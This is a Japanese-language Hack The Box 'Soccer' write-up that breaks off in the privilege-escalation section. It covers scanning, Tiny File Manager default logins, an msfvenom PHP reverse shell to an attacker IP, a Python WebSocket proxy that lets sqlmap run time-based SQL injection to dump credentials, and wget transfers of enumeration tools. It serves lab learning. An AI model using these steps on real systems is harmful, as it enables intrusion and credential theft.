1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Soccer【WriteUp】

Last updated at Posted at 2023-06-11

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Soccer」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery - 1

ポートスキャン

今回はRustScanで高速スキャンしてみた。

┌──(root💀kali)-[~]
└─# rustscan -a 10.10.11.194 --top --ulimit 10000 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-23 17:26 JST
Initiating Ping Scan at 17:26
Scanning 10.10.11.194 [4 ports]
Completed Ping Scan at 17:26, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:26
Completed Parallel DNS resolution of 1 host. at 17:26, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:26
Scanning 10.10.11.194 [3 ports]
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 22/tcp on 10.10.11.194
Discovered open port 9091/tcp on 10.10.11.194
Completed SYN Stealth Scan at 17:26, 0.30s elapsed (3 total ports)
Nmap scan report for 10.10.11.194
Host is up, received reset ttl 63 (0.27s latency).
Scanned at 2022-12-23 17:26:11 JST for 0s

PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 63
80/tcp   open  http           syn-ack ttl 63
9091/tcp open  xmltec-xmlmail syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (172B)

ポート22、80、9091が公開されてそう。
実際に80にアクセスしてみると、「soccer.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

Collection

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにしとく。

┌──(root💀kali)-[~/work]
└─# vim /etc/resolv.conf 

以下を投入。

nameserver 127.0.0.1

続いて/etc/hostをいじっていく。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.10.11.194    soccer.htb

疎通確認を行う。

┌──(root💀kali)-[~]
└─# ping soccer.htb   

サイト探索

httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。特段それっぽいのはなさそう。

┌──(root💀kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://soccer.htb/ -H "HOST: FUZZ.soccer.htb" -fs 178 -t 60

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/
 :: Wordlist         : FUZZ: ./bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.soccer.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 60
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 219 req/sec :: Duration: [0:09:28] :: Errors: 0 ::

ディレクトリ探索

dirsearchを使用して探索を実施。

┌──(root💀kali)-[~]
└─# dirsearch -u http://soccer.htb/                                                                                                                    1 ⨯

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/soccer.htb/-_22-12-23_17-30-18.txt

Error Log: /root/.dirsearch/logs/errors-22-12-23_17-30-18.log

Target: http://soccer.htb/

[17:30:19] Starting: 
[17:30:27] 403 -  564B  - /.ht_wsr.txt                                     
[17:30:27] 403 -  564B  - /.htaccess.bak1
[17:30:27] 403 -  564B  - /.htaccess.orig
[17:30:27] 403 -  564B  - /.htaccess.sample
[17:30:27] 403 -  564B  - /.htaccess.save
[17:30:27] 403 -  564B  - /.htaccess_extra
[17:30:27] 403 -  564B  - /.htaccess_orig
[17:30:27] 403 -  564B  - /.htaccess_sc
[17:30:27] 403 -  564B  - /.htaccessOLD2
[17:30:27] 403 -  564B  - /.htaccessBAK
[17:30:27] 403 -  564B  - /.htaccessOLD
[17:30:27] 403 -  564B  - /.htm                                            
[17:30:27] 403 -  564B  - /.html
[17:30:27] 403 -  564B  - /.htpasswd_test
[17:30:27] 403 -  564B  - /.httr-oauth
[17:30:27] 403 -  564B  - /.htpasswds                                      
[17:30:50] 403 -  564B  - /admin/.htaccess                                  
[17:30:59] 403 -  564B  - /administrator/.htaccess                          
[17:31:02] 403 -  564B  - /app/.htaccess                                    
[17:31:25] 200 -    7KB - /index.html                                       
                                                                             
Task Completed

アクセス拒否されているリソースが大半である。実際にアクセスしてみてどういったWebサイトか探ってみたが特段Submitできそうなところもないので更にディレクトリ探索をFFuFで実施していく。
サブドメインリストを引っ張ってきたサイトからWebコンテンツリストを持ってくる。

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt

ファジングを実施。

┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://soccer.htb/FUZZ -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 270ms]
# directory-list-2.3-small.txt [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 269ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 280ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]
# on at least 3 different hosts [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]
                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Copyright 2007 James Fisher [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 285ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 263ms]
                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]
:: Progress: [87664/87664] :: Job [1/1] :: 365 req/sec :: Duration: [0:04:17] :: Errors: 0 ::

「tiny」のディレクトリ階層が見つかったので更に探っていく。

┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://soccer.htb/tiny/FUZZ -t 50

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/tiny/FUZZ
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

# on at least 3 different hosts [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]
                        [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 283ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 327ms]
# directory-list-2.3-small.txt [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 331ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 330ms]
# Copyright 2007 James Fisher [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 335ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]
uploads                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 281ms]
                        [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 274ms]
:: Progress: [87664/87664] :: Job [1/1] :: 178 req/sec :: Duration: [0:10:06] :: Errors: 51 ::

「/tiny/uploads」の階層が見つかった。ここから更に階層を探ってみたが良さそうな物は見つからなかった。
そこで実際に「tiny」の階層へアクセスしてみると以下のログイン画面が出てきた。

1.png

Tiny File Manager を使っているようだ。

Initial Access - 1

こいつの認証情報を探っていくことにする。
以下のようにデフォルトのIDパスワードは書かれているのでとりあえず試してみたら通った!

Default username/password: admin/admin@123 and user/12345.

また、Tinyのバージョンはこのページにアクセスした際のレスポンスに記載されている。
1a.png
バージョンは「2.4.3」である。このバージョンの脆弱性を調査していると以下のExploitが引っかかった。

このExploitコードをKaliでひっかける。

┌──(root💀kali)-[~]
└─# searchsploit -p 50828
  Exploit: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50828
     Path: /usr/share/exploitdb/exploits/php/webapps/50828.sh
    Codes: CVE-2021-45010, CVE-2021-40964
 Verified: False
File Type: UTF-8 Unicode text

この「50828.sh」を回るように少々以下のように編集し、実行する。
image.png

──(root💀kali)-[~/work]
└─# ./50828.sh http://soccer.htb/tiny/ admin admin@123                                                                                                 1 ⨯
/usr/bin/curl
[✔] Curl found! 
/usr/bin/jq
[✔] jq found! 

[+]  Login Success! Cookie: filemanager=lpj4uvl4vc8u36nrghgi2fnc11 

[*] Try to Leak Web root directory path 

[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/ 

[-] File Upload Unsuccessful! Exiting!  

Exploitは通りそうだが、Payloadを打ち込むための書き込み権限がないようである。

Persistence - 1

「50828.sh」のExploitでは通らなかったので、直接WebからReverseShellを打ち込もうかと思うのである。以下の超便利サイトを活用する。

┌──(root💀kali)-[~/work]
└─# msfvenom -p php/reverse_php LHOST=10.10.14.72 LPORT=4444 -o shell.php                                                                              1 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3018 bytes
Saved as: shell.php

受け側も用意しておく。

┌──(root💀kali)-[~/work]
└─# nc -lvnp 4444
listening on [any] 4444 ...

作成したリバースシェルのphpファイルを以下のフォームにアップロードする。
2.png
「Back」ボタンから以下の表示になるので「Open」でリバースシェルを起動させる。
3.png

おおお!!!シェルゲットだぜ!!!
...だが「user.txt」を見ることはできない。homeディレクトリ階層を見た感じ「player」のユーザのシェル権限を取得しないといけないようである。

Discovery - 2

「/var/www/html」階層には特段良さそうな情報はなかったが、NGINXを使用しているのでその設定ファイルを探っていると「/etc/nginx」の階層にいいものがあった。
4.png
soc-player.soccer.htb」のサブドメインの設定が入っているようである。
このドメインの設定を追加する。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.10.11.194    soc-player.soccer.htb

実際にアクセスしてみる。
image.png
何やらログインやらサインアップやらあるので、テキトーにアカウントを作成し、ログインしてみた。
「/check」ディレクトリ階層に飛ばされた。レスポンスを見てみると以下のようにScriptが記載されている。
image.png
<input>タグにあるidの情報をWebsocketを使って飛ばしているようである。
6.png
その後に9091のPortにHTTP通信をし、レスポンスコード101の通信が発生しているのでWebsocketを使用しているのは確実のようである。
Wiresharkを使って通信を見てみた。
以下のようにidの情報を入力してみてスクリプトを回してみた。
7.png
Wiresharkだと文字「Ticket Exists」の平文をキャッチ出来ている。
6a.png

Websocketかぁ...わっかんねぇ...

Initial Access - 2

このシステムの動作をなんとなくで見てると、ある程度どういった動作をしているかわかったりする...
これはWeb開発者向けの感覚になるのだが、この通信はTicketIDを送信してそのIDを検索し、あればExitsと回答する通信を返していると判断される。
バックエンドでSQLをたたいているソースがあったりしそう。
更にはWebsocketを用いた最近のCTFではSQLiを試すことで突破できることも多くなってきている。

というわけで、とりあえずSQLiを試してみようと思う。
※ほんとここら辺は感覚になってすいません、先に言っちゃうとなんか行けました(笑)

sqlmap on Websocket

SQLiを試す際によく使うのは sqlmap というツールだと思う。だが、このツールはwebsocketでの通信を考慮してくれていないようである。
なので、sqlmapのHTTP通信をWebsocketに変換するツールを自作する。
以下のサイトを参考に作成した。

コードは以下のようになった。

sqlmap_on_ws.py
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

# 今回のWebsocketの通信先
ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message #ここはWebsocketで送っている項目「id」に変換する。

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

このsqlmap_on_ws.pyを起動する前にwebsocketのパッケージがない場合は以下のコマンドでインストールしておく。

┌──(root💀kali)-[~]
└─# pip install websockets

sqlmapから送信し、Websocketに変換するためのプロキシを起動させる。Portは8081で受けることとなる。

┌──(root💀kali)-[~]
└─# python3 sqlmap_on_ws.py

起動出来たらsqlmapでSQLi開始である。とりあえずDB名から取得していく。

┌──(root💀kali)-[~]
└─# sqlmap -u "http://localhost:8081/?id=1" --batch --dbs                                                                                               1 ⨯
/usr/bin/sqlmap:21: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
  import distutils

       __H__
 ___ ___[(]_____ ___ ___  {1.5.9#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:34:53 /2022-12-24/

[14:34:53] [INFO] testing connection to the target URL
[14:34:54] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.4')
[14:34:54] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:34:55] [INFO] testing if the target URL content is stable
[14:34:56] [INFO] target URL content is stable
[14:34:56] [INFO] testing if GET parameter 'id' is dynamic
[14:34:57] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:34:58] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:34:59] [INFO] testing for SQL injection on GET parameter 'id'
[14:34:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:35:05] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:35:06] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:35:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:35:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:35:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:35:27] [INFO] testing 'Generic inline queries'
[14:35:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:35:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:35:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:35:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:35:59] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[14:35:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:35:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:36:24] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[14:36:50] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[14:36:50] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 99 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6051 FROM (SELECT(SLEEP(5)))ohkl)
---
[14:37:19] [INFO] the back-end DBMS is MySQL
[14:37:19] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[14:37:24] [INFO] fetching database names
[14:37:24] [INFO] fetching number of databases
[14:37:24] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
5
[14:37:43] [INFO] retrieved: 
[14:37:49] [INFO] adjusting time delay to 2 seconds due to good response times
mysql
[14:39:00] [INFO] retrieved: information_schema
[14:43:18] [INFO] retrieved: performance_schema
[14:47:31] [INFO] retrieved: sys
[14:48:18] [INFO] retrieved: soc
[14:49:15] [ERROR] invalid character detected. retrying..
[14:49:15] [WARNING] increasing time delay to 3 seconds
cer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

DB名取得完了。ちなみにProxyと並べてみるとこんな感じになります。
8.png
「soccer_db」を探っていく。同じようにtable名を取得していく。

┌──(root💀kali)-[~]
└─# sqlmap -u "http://localhost:8081/?id=1" --batch dbs soccer_db --tables

今度は「accounts」テーブルを以下のように探っていく。これで「player」のクレデンシャルが手に入ります。
※どんなものかは実際にやってみてください。
9.png

Persistence - 2

このクレデンシャル情報で実際にSSHアクセスしてみて通るか試す。
10.png

よっしゃ!通った!!!
これで一般User権限を奪取することに成功した。

Privilege Escalation

情報収集

とりあえず特権昇格を行うための情報収集から開始する。

sudo -l

No Passで特権コマンド打てないかなぁとか思いながらsudo -lで確認します。

player@soccer:/tmp$ sudo -l

何もいい情報が落ちてこない。

pspy

何かいいプロセス動いてないかなぁ~とか思いながらpspy動かします。
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。

入手後はターゲットに実行ファイルを送信するために簡易的なWebサーバを立ち上げます。

┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80

攻撃対象サーバからこのファイルをダウンロードしてくるので自分のIPを確認しておきます。
※この場合はtun0

┌──(root💀kali)-[~/work]
└─# ip a                                                                                                                                               1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.72/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101a/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

攻撃対象サーバへ転送します。

player@soccer:/tmp$ wget http://10.10.14.72/pspy64

では実行!

player@soccer:/tmp$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/12/24 11:07:53 CMD: UID=1001 PID=7904   | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2022/12/24 11:07:53 CMD: UID=1001 PID=4005   | -bash 
2022/12/24 11:07:53 CMD: UID=1001 PID=3735   | /lib/systemd/systemd --user 
2022/12/24 11:07:53 CMD: UID=1001 PID=26549  | ./pspy64 

こっちも特段有益な情報は落ちてなかった。

linpeas

んじゃざっと色んな情報集めてみますよ。
ということでlinpeas使います。Linemunよりこっち派。
pspy同様以下のサイトからlinpeas.shをダウンロードしてくる。

pspy同様に攻撃対象サーバに転送させます。
んじゃ実行します。

player@soccer:/tmp$ ./linpeas.sh 

すると以下のように「/usr/local/bin」配下に実行できそうなやつらがいた。

...省略

╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path                                                                  
/usr/bin/rescan-scsi-bus.sh                                                                                                                                 
/usr/bin/gettext.sh

╔══════════╣ Executable files potentially added by user (limit 70)
                                                                                                               
2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit
2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
2022-11-15+21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh

╔══════════╣ Unexpected in root
/data                                                                                                                                                       
/vagrant

...省略

doas

doasの実行ファイルが何なのかよくわからないので、近辺にあった「doasedit」を見てみる。
※後で調べてみたら簡単に理解できました(笑)、以下のサイトを参考にしてください。

player@soccer:/usr/local/bin$ more doasedit 
#!/bin/sh
# Copy an existing text file to a temporary location. Then
# Edit the file.
# Attempt to then transfer the temporary file back to the original
# location if the temprary file has been altered.
# Conclude with a little clean-up.
# Try to avoid deleting any changes.

if [ $# -lt 1 ]
then
   echo "usage: $0 text-file"
   exit 1
fi

if [ ! -f "$1" ]
then
   echo "File does not exist or is a special file/link."
   exit 2
fi

if [ -L "$1" ]
then
   echo "File is a symbolic link. Refusing to edit."
   exit 2
fi

if [ ! -r "$1" ]
then
   echo "This user is unable to read the specified file."
   exit 3
fi

temp_file=$(mktemp --tmpdir doasedit.XXXXXXXX)
if [ ! $? ]
then
   echo "Could not create temporary file."
   exit 4
fi

cp "$1" "$temp_file"
if [ ! $? ]
then
   echo "Unable to copy file $1"
   exit 5
fi

# If $VISUAL fails, run $EDITOR.
# $EDITOR should be a line editor functional without advanced terminal features.
# $VISUAL is a more advanced editor such as vi.
"${VISUAL:-vi}" "$temp_file"
if [ ! $? ]
then
    "${EDITOR:-ex}" "$temp_file"
    if [ ! $? ]
    then
      echo "Could not run visual editor $VISUAL"
      echo "Could not run editor $EDITOR"
      echo "Please make sure the VISUAL and/or EDITOR variables are set."
      rm -f "$temp_file"
      exit 6
    fi
fi

# Check to see if the file has been changed.
cmp -s "$1" "$temp_file"
status=$?
if [ $status -eq 0 ]
then
   echo "File unchanged. Not writing back to original location."
   rm -f "$temp_file"
   exit 0
fi

# At this point the file has been changed. Make sure it still exists.
if [ -f "$temp_file" ]
then
    doas cp "$temp_file" "$1"
    cmp -s "$temp_file" "$1"
    status=$?
    # If file fails to copy, do not do clean-up
    while [ $status -ne 0 ]
    do
       echo "Copying file back to $1 failed. Press Ctrl-C to abort or Enter to try again."
       read abc
       doas cp "$temp_file" "$1"
       cmp -s "$temp_file" "$1"
       status=$?
    done
fi

# Clean up
rm -f "$temp_file"
exit 0

この中にあったdoas cp "$temp_file" "$1"に注目すると何やらコマンドを通せるようなファイルみたい。まぁ試しに叩いてみる。

player@soccer:/usr/local/bin$ doas
usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]

ほう、[-u user]とあるし、ユーザを指定して実行できるのかな?
manコマンドで確認してみた。

DOAS(1)                                                        BSD General Commands Manual                                                       DOAS(1)

NAME
     doas — execute commands as another user

SYNOPSIS
     doas [-nSs] [-a style] [-C config] [-u user] [--] command [args]

DESCRIPTION
     The doas utility executes the given command as another user.  The command argument is mandatory unless -C, -S, or -s is specified.

     The options are as follows:

     -a style    Use the specified authentication style when validating the user, as allowed by /etc/login.conf.  A list of doas-specific authentication
                 methods may be configured by adding an ‘auth-doas’ entry in login.conf(5).

     -C config   Parse and check the configuration file config, then exit.  If command is supplied, doas will also perform command matching.  In the
                 latter case either ‘permit’, ‘permit nopass’ or ‘deny’ will be printed on standard output, depending on command matching results.  No
                 command is executed.

     -n          Non interactive mode, fail if doas would prompt for password.

     -S          Same as -s but simulates a full login. Please note this may result in doas applying resource limits to the user based on the target
                 user's login class. However, environment variables applicable to the target user are still stripped, unless KEEPENV is specified.

     -s          Execute the shell from SHELL or /etc/passwd.

